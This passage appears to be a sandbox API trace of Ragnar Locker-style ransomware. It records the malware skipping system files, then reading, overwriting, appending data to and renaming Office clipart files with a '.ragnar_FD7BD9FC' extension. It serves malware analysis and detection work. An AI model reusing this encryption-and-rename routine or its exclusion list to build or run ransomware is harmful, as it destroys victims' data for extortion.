Office\\CLIPART\\PUB60COR\\J0216612.WMF.ragnar_FD7BD9FC" [0086.178] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.179] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216874.WMF", cAlternateFileName="")) returned 1 [0086.179] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.179] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0216874.WMF" | out: lpString1="J0216874.WMF") returned="J0216874.WMF" [0086.179] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF") returned=".WMF" [0086.179] lstrcmpiW (lpString1="J0216874.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.179] lstrcmpiW (lpString1="J0216874.WMF", lpString2="autorun.inf") returned 1 [0086.179] lstrcmpiW (lpString1="J0216874.WMF", lpString2="boot.ini") returned 1 [0086.179] lstrcmpiW (lpString1="J0216874.WMF", lpString2="bootfont.bin") returned 1 [0086.179] lstrcmpiW (lpString1="J0216874.WMF", lpString2="bootsect.bak") returned 1 [0086.179] lstrcmpiW (lpString1="J0216874.WMF", lpString2="bootmgr") returned 1 [0086.179] lstrcmpiW (lpString1="J0216874.WMF", lpString2="bootmgr.efi") returned 1 [0086.179] lstrcmpiW (lpString1="J0216874.WMF", lpString2="bootmgfw.efi") returned 1 [0086.179] lstrcmpiW (lpString1="J0216874.WMF", lpString2="desktop.ini") returned 1 [0086.179] lstrcmpiW (lpString1="J0216874.WMF", lpString2="iconcache.db") returned 1 [0086.179] lstrcmpiW (lpString1="J0216874.WMF", lpString2="ntldr") returned -1 [0086.179] lstrcmpiW (lpString1="J0216874.WMF", lpString2="ntuser.dat") returned -1 [0086.179] lstrcmpiW (lpString1="J0216874.WMF", lpString2="ntuser.dat.log") returned -1 [0086.179] lstrcmpiW (lpString1="J0216874.WMF", lpString2="ntuser.ini") returned -1 [0086.179] lstrcmpiW (lpString1="J0216874.WMF", lpString2="thumbs.db") returned -1 [0086.179] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.179] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.179] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.179] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.179] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.179] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.179] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf")) returned 0x20 [0086.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.180] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=39738) returned 1 [0086.180] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9b31, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.180] GetProcessHeap () returned 0x580000 [0086.180] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.181] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.182] VirtualAlloc (lpAddress=0x0, dwSize=0x9b3a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.182] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.182] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.182] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9b3a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9b3a, lpOverlapped=0x0) returned 1 [0086.183] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.183] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9b3a, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.184] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9b3a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9b3a, lpOverlapped=0x0) returned 1 [0086.184] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9b3a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.184] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.184] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9b3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.184] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.184] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.184] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.184] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.184] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.185] GetProcessHeap () returned 0x580000 [0086.185] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.185] CloseHandle (hObject=0xf4) returned 1 [0086.185] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" [0086.185] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.ragnar_FD7BD9FC" [0086.185] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.185] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217262.WMF", cAlternateFileName="")) returned 1 [0086.185] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.185] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0217262.WMF" | out: lpString1="J0217262.WMF") returned="J0217262.WMF" [0086.185] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF") returned=".WMF" [0086.185] lstrcmpiW (lpString1="J0217262.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.185] lstrcmpiW (lpString1="J0217262.WMF", lpString2="autorun.inf") returned 1 [0086.185] lstrcmpiW (lpString1="J0217262.WMF", lpString2="boot.ini") returned 1 [0086.186] lstrcmpiW (lpString1="J0217262.WMF", lpString2="bootfont.bin") returned 1 [0086.186] lstrcmpiW (lpString1="J0217262.WMF", lpString2="bootsect.bak") returned 1 [0086.186] lstrcmpiW (lpString1="J0217262.WMF", lpString2="bootmgr") returned 1 [0086.186] lstrcmpiW (lpString1="J0217262.WMF", lpString2="bootmgr.efi") returned 1 [0086.186] lstrcmpiW (lpString1="J0217262.WMF", lpString2="bootmgfw.efi") returned 1 [0086.186] lstrcmpiW (lpString1="J0217262.WMF", lpString2="desktop.ini") returned 1 [0086.186] lstrcmpiW (lpString1="J0217262.WMF", lpString2="iconcache.db") returned 1 [0086.186] lstrcmpiW (lpString1="J0217262.WMF", lpString2="ntldr") returned -1 [0086.186] lstrcmpiW (lpString1="J0217262.WMF", lpString2="ntuser.dat") returned -1 [0086.186] lstrcmpiW (lpString1="J0217262.WMF", lpString2="ntuser.dat.log") returned -1 [0086.186] lstrcmpiW (lpString1="J0217262.WMF", lpString2="ntuser.ini") returned -1 [0086.186] lstrcmpiW (lpString1="J0217262.WMF", lpString2="thumbs.db") returned -1 [0086.186] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.186] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.186] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.186] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.186] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.186] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.186] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf")) returned 0x20 [0086.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.186] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5252) returned 1 [0086.186] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x147b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.187] GetProcessHeap () returned 0x580000 [0086.187] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.187] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.188] VirtualAlloc (lpAddress=0x0, dwSize=0x1484, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.188] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.188] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.188] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1484, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1484, lpOverlapped=0x0) returned 1 [0086.189] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.189] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1484, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.189] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1484, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1484, lpOverlapped=0x0) returned 1 [0086.189] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1484, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.189] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.189] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.189] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.190] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.190] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.190] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.190] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.190] GetProcessHeap () returned 0x580000 [0086.190] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.190] CloseHandle (hObject=0xf4) returned 1 [0086.190] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" [0086.190] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.ragnar_FD7BD9FC" [0086.190] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.191] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217302.WMF", cAlternateFileName="")) returned 1 [0086.191] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.191] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0217302.WMF" | out: lpString1="J0217302.WMF") returned="J0217302.WMF" [0086.191] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF") returned=".WMF" [0086.191] lstrcmpiW (lpString1="J0217302.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.191] lstrcmpiW (lpString1="J0217302.WMF", lpString2="autorun.inf") returned 1 [0086.191] lstrcmpiW (lpString1="J0217302.WMF", lpString2="boot.ini") returned 1 [0086.191] lstrcmpiW (lpString1="J0217302.WMF", lpString2="bootfont.bin") returned 1 [0086.191] lstrcmpiW (lpString1="J0217302.WMF", lpString2="bootsect.bak") returned 1 [0086.191] lstrcmpiW (lpString1="J0217302.WMF", lpString2="bootmgr") returned 1 [0086.191] lstrcmpiW (lpString1="J0217302.WMF", lpString2="bootmgr.efi") returned 1 [0086.191] lstrcmpiW (lpString1="J0217302.WMF", lpString2="bootmgfw.efi") returned 1 [0086.191] lstrcmpiW (lpString1="J0217302.WMF", lpString2="desktop.ini") returned 1 [0086.191] lstrcmpiW (lpString1="J0217302.WMF", lpString2="iconcache.db") returned 1 [0086.191] lstrcmpiW (lpString1="J0217302.WMF", lpString2="ntldr") returned -1 [0086.191] lstrcmpiW (lpString1="J0217302.WMF", lpString2="ntuser.dat") returned -1 [0086.191] lstrcmpiW (lpString1="J0217302.WMF", lpString2="ntuser.dat.log") returned -1 [0086.191] lstrcmpiW (lpString1="J0217302.WMF", lpString2="ntuser.ini") returned -1 [0086.191] lstrcmpiW (lpString1="J0217302.WMF", lpString2="thumbs.db") returned -1 [0086.191] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.191] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.191] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.191] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.191] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.191] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.191] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf")) returned 0x20 [0086.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.192] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3482) returned 1 [0086.192] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd91, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.192] GetProcessHeap () returned 0x580000 [0086.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.192] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.195] VirtualAlloc (lpAddress=0x0, dwSize=0xd9a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.195] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.195] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.195] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd9a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd9a, lpOverlapped=0x0) returned 1 [0086.195] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.195] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd9a, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.195] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd9a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd9a, lpOverlapped=0x0) returned 1 [0086.195] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd9a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.195] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.196] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd9a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.196] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.196] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.196] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.196] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.196] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.196] GetProcessHeap () returned 0x580000 [0086.196] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.196] CloseHandle (hObject=0xf4) returned 1 [0086.196] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" [0086.196] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.ragnar_FD7BD9FC" [0086.196] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.197] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca8, dwReserved0=0x0, dwReserved1=0x0, 